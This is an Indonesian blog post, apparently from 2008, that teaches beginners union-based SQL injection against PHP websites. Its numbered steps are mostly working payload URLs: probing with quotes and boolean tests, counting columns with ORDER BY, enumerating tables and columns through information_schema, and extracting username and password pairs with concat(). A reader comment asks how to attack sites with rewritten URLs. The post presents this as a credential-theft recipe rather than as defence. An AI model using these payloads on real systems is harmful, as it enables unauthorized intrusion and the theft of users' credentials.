19
Okt
08

NEW PHP SQL INJECTION By.DarKDeviL

*****************************
*** NEW PHP SQL INJECTION ***
*****************************
Level : | * | (Beginer/Newbie/Pemula)
Mode : Bacot Mode OFF (Ga pake basa basi🙂 )
Testing : On Localhost (Server Local;pake apache2triad)
Vulnerability CMS : Share CMS (Telah dilampirkan pada Archive)

———————————————————————-

Note : Magic_Quote_GPC pada php.ini harus dalam posisi mode “OFF”!!!

1. Cek Vulnerability.

Untuk mengecek apakah suatu site memiliki bug kita dapat menggunakan cara-cara berikut :
a. Letakkan karakter Single Quote pada akhri url address bar.
ie : http://www.target.com/index.php?pageID=1&#8242; <== karakter diletakkan di belakang url address bar.

b. Gunakan Operator Logika.
Anda bisa gunakan operator and,or,dll.
Ex 1 : and 1=1
ie : http://www.target.com/index.php?pageID=1 and 1=1 <== Return True, artinya jika kita meletakkan operator logika tersebut maka tidak terjadi error alias page berjalan dengan normal.

Ex 2 : and 1=2
ie : http://www.target.com/index.php?pageID=1 and 1=2 <== Return False, artinya jika kita meletakkan operator logika tersebut maka terjadi error alias page tidak berjalan dengan normal.

Note : Untuk menggunakan operator logika tergantung dengan kebutuhan yang diperlukan. Selain itu kekreatifitasan kita dituntut disini. Kenapa? karena kadang ketika kita meletakkan operator logika, situs tidak memberi respon apa-apa. Untuk itu, kekreatifitasan anda di perlukan disini. Bagaimana anda membangkitkan error. Hehehehehehe🙂

2. Cek Kolom.
Setelah kita mengetahui bahwa suatu site memiliki bug sql injection, maka tahap selanjutnya adalah mengecek kolom yang ada. Untuk mengecek kolom, kita dapat gunakan statement “ORDER By x”, dimana x adalah nilai increment dari integer 1,2,…dst. Increment maksudnya adalah lakukan penambahan nilai x sampai ditemukan pesan error seperti “… Unknown Colomn ‘x’ …”.

ie :
http://www.target.com/index.php?pageID=1+order+by+1/* <== Return True.
http://www.target.com/index.php?pageID=1+order+by+2/* <== Return True.
http://www.target.com/index.php?pageID=1+order+by+3/* <== Return True.
http://www.target.com/index.php?pageID=1+order+by+4/* <== Return False.

Note : Kita asumsikan bahwa ketika kita memasukkan nilai 4, maka muncul pesan error “Unknown Colomn ‘4’”, maka kita dapat menarik suatu kesimpulan bahwa kolom yang ada hanya 1,2, dan 3.

3. Cek Hole Pada Kolom.
Untuk mengecek di kolom berapa terdapat hole atau kolom yang bermasalah kita bisa gunakan stament “UNION ALL SELECT ” atau “UNION SELECT ” ,dll.

Note : Ingat!!!jangan lupa menggunakan karakter “-“, seperti dibawah ini :

ie :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,2,3/*

Note : Kita asumsikan kolom yang bermasalah terdapat pada angka ‘2’. Bagaimana cara kita mengetahuinya ? kita bisa lihat pada page, karena kolom yang bermasalah tersebut nantinya akan ditampilkan pada page. Lagi-lagi kejelian mata dan kekreatifitasan kita di butuhkan disini!!!

4. Cek Versi MYSQL.
Mengapa perlu mengecek versi dari MySQL? karena teknik sql injection untuk v 4.xx atau < v 5.xx tidak sama. Pada paper ini saya menggunakan v 5.xx.

Untuk mengecek versi mysql kita bisa gunakan statement “@@version,version(),dll” tergantung kebutuhan system.

Note : Jika page tidak meload versi mysql? Gunakan kreatifitas anda. Lakukan manipulasi-manipulasi pada url address, seperti :
convert(@@version using latin1), unhex(hex(@@version)) , dll.

ie : http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,@@version,3/*
ie :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,convert(@@version+using+latin1),3/*
ie :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,unhex(hex(@@version)),3/*

Note : Kita Asumsikan versi dari mysql adalah 5.x.x

5. Cek Tabel dan Kolom.
a. Cek Tabel.
Untuk mengecek tabel gunakan statement berikut :
” information_schema.tables + table_name ”

ie : http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,table_name,3+from+information_schema.tables/*

Note :
– Jika page tidak meload informasi tabel, gunakan convert() atau unhex(hex()) atau lainnya.

– Gunakan statement Limit untuk mengekstrak tabel yang ada.

ie :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,table_name,3+from+information_schema.tables+limit+1,1/* <=== Lakukan increment pada angka 1,1 sampai kita temukan informasi tabel yang berguna, seperti user,username,admin,administrator,dll

b. Cek Kolom
Cara pengecekan kolom hampir sama dengan pengecekan tabel, hanya saja pada pengecekan kolom kita gunakan statement berikut :
” information_schema.columns … column_name … ”

ie : http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,column_name,3+from+information_schema.columns/*

Note : Gunakan Statment Limit untuk mengekstrak kolom-kolom yang ada.

Tips : Untuk mengekstrak kolom pada tabel tertentu kita bisa gunakan statement berikut :

ie:
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,column_name,3+from+information_schema.columns+where+table_name=’user’/* <=== kita asumsikan kita telah mengetahui bahwa terdapat tabel user.

Note : Seperti biasa untuk mengekstrak kolom-kolom tersebut kita gunakan statement LIMIT.

6. Get Value of Colomn.
Setelah kita ketahui nama-nama kolom yang ada pada table, maka langkah selanjutnya adalah mengekstrak nilai-nilai tersebut. Untuk mengekstrak nilai tersebut kita bisa melakukannya secara satu persatu dan atau secara keseluruhan atau bersamaan.

Note : Asumsikan bahwa kita mengetahui bahwa table user memiliki kolom ‘username’ dan ‘password’.

a. Secara satu per satu.
ie : http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,username,3+from+user/*
ie :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,password,3+from+user/*

b. Secara keseluruhan atau bersamaan.
Gunakan statement concat() atau concat_ws()
ie :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,concat(username,0x3a,password),3+from+user/* <=== 0x3a adalah hexa dari karakter ‘ : ‘

Note : Jika anda ingin mengetahui lebih jelas mengenai tutorial ini silahkan lihat video tutorialnya (sudah saya lampirkan pada archive file ini🙂 )

===================================Selesai================================

This paper created by
**DarKDeviL**

==========================Terima Kasih==========================

Download Lengkap Di Sini
SQL VULN.rar


1 Response to “NEW PHP SQL INJECTION By.DarKDeviL”


  1. 1 Sedang Berfikir
    Kamis, November 27, 2008 pukul 8:39 pm

    halo boyz..
    semua target lw make php yg urlnya dinamis (ex : target.com/index.php?blablabla=blablabla)

    klo targetnya url phpnya dinamis, gmana boyz? (ex: target.com/index/blablabla/blablabla)


Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s


%d blogger menyukai ini: